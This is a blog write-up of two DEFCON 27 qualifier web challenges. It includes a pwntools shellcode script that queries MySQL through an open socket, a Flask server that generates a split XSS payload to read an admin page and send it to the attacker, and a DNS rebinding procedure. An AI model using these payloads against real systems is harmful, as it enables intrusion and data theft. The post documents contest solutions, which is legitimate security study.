DEFCON 27 Qual CTF Web Writeups

8 minute read

This year’s DEFCON Qulification, I still played in my CTF team Balsn. Because DEFCON is top tier CTF, we join forces with HITCON, BambooFox, DoubleSigma. All teams are from Taiwan. Finally we make it to the final as team HITCON⚔BFKinesiS.

Since DEFCON focuses on reverse/pwn challenges, there are only 2 web challenges, ooops and return_to_shellql. My teammates and I solved them both in the competition. ooops is a classical web challenge, while return_to_shellql is also an “interesting” challenge.

So I decided to blog a detailed writeups/stories of them.


This is the most disappointing and astonishing challenge in this year’s DEFCON qual.

We have the source code of the server:


if (isset($_GET['source']))

$link = mysqli_connect('', 'shellql', 'shellql', 'shellql');


if (isset($_POST['shell']))
   $hexdshell = bin2hex($_POST['shell']);
   $txt = "HERE is shell length = " . (strlen($hexdshell)/2) . "-----------------------------\n" . $hexdshell . "\n------------------------------\n";
   $myfile = file_put_contents('/tmp/logs.txt', $txt.PHP_EOL , FILE_APPEND | LOCK_EX);
   fwrite($myfile, $txt);

   if (strlen($_POST['shell']) <= 1000)
          echo $_POST['shell'];

The shellme() is implemented as a php extension. We also have the binary Basically it will execute shellcode with seccomp protection.

The description of the challenge mentions the flag is in /flag, so we probably need local file inclusion or RCE to read the flag. Because seccomp is enabled when executing the shellcode, we can only read/write the file descriptors that are already opened:

  1. stdin
  2. stdout
  3. stderr
  4. /tmp/.ZendSem.jTNX5u: it’s opend as RW, which seems to be a php temp file.
  5. MySQL socket

The only fd that could be used to read loca files will be MySQL. Can we use MySQL to read /flag? Let’s first run a few queries thorugh this shellcode:

#!/usr/bin/env python2

from pwn import *
import requests
import sys
import string

context(arch='amd64', os='linux')
query = '\x03' + sys.argv[1] if sys.argv[1] else raw_input('> ')
packet = p32(len(query)) + query
stdout = 1
sql_fd = 4
payload  = shellcraft.echo('\n', stdout) # for 200 response
payload += shellcraft.pushstr (packet)
payload += shellcraft.write(sql_fd, 'rsp', len(packet))
payload +=, 'rsp', 10000)
payload += shellcraft.write(stdout, 'rsp', 'rax')
shellcode = asm(payload)
url = ""
r =, data={'shell': shellcode})

print repr(r.text)
printable = set(string.printable) - set('\x0c\x0b')
print ''.join([i if i in printable else ' ' for i in r.text])
  • The shellql db contains nothing interesting
  • show grants; Permission: select and usage. Almost the same as read-only.
  • select @@version: 5.7.26-0ubuntu0.18.04.1, latest

Then we tried various approaches to load file in MySQL, but all failed.

  • XXE in LOAD XML: MySQL doesn’t parse external entities.
  • LOAD_FILE()/ LOAD DATA INFILE: We don’t have file permission and we need to bypass secure_file_priv.
  • Client-side arbitrary file inclusion LOCAL INFLE: This aims to read clients files. We don’t have a MySQL client here.
  • Rather than MySQL query, use other MySQL protocol to open files: COM_BINLOG_DUMP , but we don’t have REPLICATION SLAVE privilege
  • select * from information_schema.processlist: we can peek other team’s queries
  • become root via auth_socket: nope
  • guessing root’s password through COM_CHANGE_USER command: since the firstblood solved this challenge in 50 minutes, and this is DEFCON Qual, we don’t think it’s about guessing password

In addition, the file operation of logs.txt does not make any sense here:

$myfile = file_put_contents('/tmp/logs.txt', $txt.PHP_EOL , FILE_APPEND | LOCK_EX);
fwrite($myfile, $txt);

The return value of file_put_contents is how many bytes are written, instead of a file resource. Even it could return boolean false, according to php src, both fwrite and fclose will check the argument type.

We stuck here for more than 36 hours, and the challenge is still solved by only one team: how can SeoulPlusBadAss got firstblood in just 50 minutes?

10 hours left for the qualification, suddenly in IRC:

ATTENTION: SeoulPlusBadAss, please PM me ASAP or you will just be unhappy later

Interesting. Did they screw up this challenge or made it unsolvable? Soon after the challenge was in maintenance and unstable for about an hour. I was still dumping processlist and hope to discover some interesting payload, only to found a fake flag.

Because I think it’s fake. I didn’t expect this challenge could be solved by just dumping payloads. So I don’t even try to submit this one. However, this fake flag did make me curious because it didn’t follow MySQL’s response protocol. The header was missing. I wondered if the MySQL was pwned.

16:16 <@zardus> ATTENTION HACKERS! We've undone massive horizontal scaling of shellretql in favor of massive vertical scaling. Though our test exploits have been successfully landing on this service the whole CTF, this change more closely replicates conditions when it first launched. HACK IT!

Hash of the flag: 9214822b06e543db1bd94951e0955d1e0899bce16b490c18cd35ef8cd8d21c432424fa19c94e1c75b375db162371c9c5f39ec894890861e6cbcdc57833ef9813

Then in the next 30 minutes, 7 teams solved this chalenge. Okay okay let’s try select * from information_schema.processlist; again to dump other team’s payload. It turned out that the previous fake flag I found is actually the real flag…… WTF……

Meanwhile, on our team’s Slack, there are numerous WTF? ???? XD when someone submited it. Actually I solved this challenge two hour ago. I even copied the flag but I was too lazy to submit it.

There is an offcial twitter post explaining what happened to this challenge.


Solution 1: XSS

In this challenge, we’re given a proxy PAC file. It’s used to automatically determine the request should be proxied or not.

function FindProxyForURL(url, host) {
 /* The only overflow employees can access is Order of the Overflow. Log in with OnlyOne:Overflow */
 if (shExpMatch(host, '')) return 'DIRECT';return 'PROXY';

We launch Chromium with this proxy server and try to visit

# Chromium will ask for the credentials. Log in with OnlyOne:Overflow as documented in the PAC file.
$ chromium --proxy-server="" ""

The proxy returns a webpage saying “ is blocked.” We can also submit a link to admin to send a site unblock request.

After a few trial and error, we observe:

  1. If the url contains oooverflow (excluding the GET parameter), the page will be blocked.
  2. On the block page, there is a XSS vulnerability.<img src=x>
  3. The admin will visit the URL in the site unblock request. The referer in the HTTP header is
  4. The admin’s UA is PhantomJS/2.1.1 Safari/538.1. This does not support some js syntax like fetch(), let i = 0.

The objective is clear: stealing the data in

Leveraging 1 & 3, we can forge a url<img src=x> including our XSS payload and send to admin. Since the page will be blocked, it will trigger our XSS payload. Additionally, the url is the same origin as We are allowed to read arbitrary content on the origin.

However, the XSS payload will be split 55 characters. The js in the page will insert annoying <br/>.

function split_url(u) {
    u = decodeURIComponent(u); // Stringify
    output = u[0];
    for (i=1;i<u.length;i++) {
        output += u[i]
        if (i%55==0) output+= "<br/>";
    return output
window.onload = function () {
    d = document.getElementById("blocked");
    d.innerHTML=(split_url(document.location) + " is blocked")

This could be simply bypassed via js comment /*<br/>*/, or using location.hash to chain longer payloads. Another annoying one is the admin will change his internal IP every minutes., …. but at least we can dynamically determine which URL to redirect based on the referer header.

Here is my HTTP server, including the XSS payload:

#!/usr/bin/env python3
from flask import Flask, request, redirect
import base64

app = Flask(__name__)

def genurl(ip): # e.g.
    def b64e(x):
        return base64.b64encode(x.encode()).decode()

    host = 'http://'+ip+'/oooverflow'
    js = '''
var snd = function(data) {


var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
if (xhr.readyState == XMLHttpRequest.DONE) {
var txt = xhr.responseText;
}'GET', 'http://REPLACEME/admin/view/1', true);
'''.replace('REPLACEME', ip)
    assert '"' not in js
    b64_js = b64e(js)
    xss = '<img src=x onerror="eval(atob(\'{}\'))">'.format(b64_js)
    delimeter = "'/**/+'"
    payload = 'bbbb' # shift 4 bytes
    delta = 55 - len(delimeter)
    for i in range(0, len(xss), delta):
        print(xss[i:i+delta] + delimeter)
        payload += xss[i:i+delta] + delimeter
    payload = payload[:-len(delimeter)] # remove last delimeter
    payload = host.ljust(56, 'a') + payload
    return payload

def index():
    ip = request.environ.get('HTTP_X_FORWARDED_FOR').rsplit(',')[-1]
    ip = ip + ':5000'
    return redirect(genurl(ip), code=302)

if __name__ == '__main__':, host="")

However, the page has nothing interesting at all. contains a suspicious HTML comment: <!-- Query: select rowid,* from requests where rowid=2; -->

This is obviously a SQL injection hint. The rest is a simple SQLi challenge. My SQL king teammate @kaibro handles te test.

Solution 2: DNS rebinding

Because the internal server does not validate HTTP host header, it’s also worth mentioning that DNS rebinding can also be used to solve this challenge. It should work but I fail to reproduce because the admin’s internal URL is changing so fast. That leads to a low successful rate of DNS rebinding. (In the earlier the challange is protected with recaptcha, and admin seems to change internal IP address every a few minutes. After the recaptcha is removed, the internal IP keeps changing every request we sent.) The attack procedure is listed as follows:

  1. Set up our evil website and listen on
  2. Set up a DNS server resolving randomly to A or A with TTL = 0. Note that you cannot resolve it to two A records. The browser will always resolve to the private IP first.
  3. Send the crafted SQL injection link to admin.
  4. If we are lucky enough, it will resolve to our evil website
  5. On our evil website, the js will send multiple XHR request to and read the response text.
  6. If we are lucky enough, the address will resolve to Sincer the origin is still, we don’t violate the same-origin policy. We can easily extract the flag.

For more information about browser bahaviors regarding DNS rebinding please read my article.

Failed Attempts

  • PhantomsJS local file inclusion: @vtim found PhantomJS has to visit file:/// protocol such that the local file will be the same origin, but in this challenge it’s visiting http:// protocol. We cannot read local files by this approach.
  • DNS rebinding: Actually this should not be considered as failed attempts. We use DNS rebinding technique to read the content of and Unfortunately we didn’t notice the HTML comment.

Thanks to the author @andrewfasano for the ooops challenge. It’s classical web challenge, I really have fun in this challenge by exploring unintended solutions:)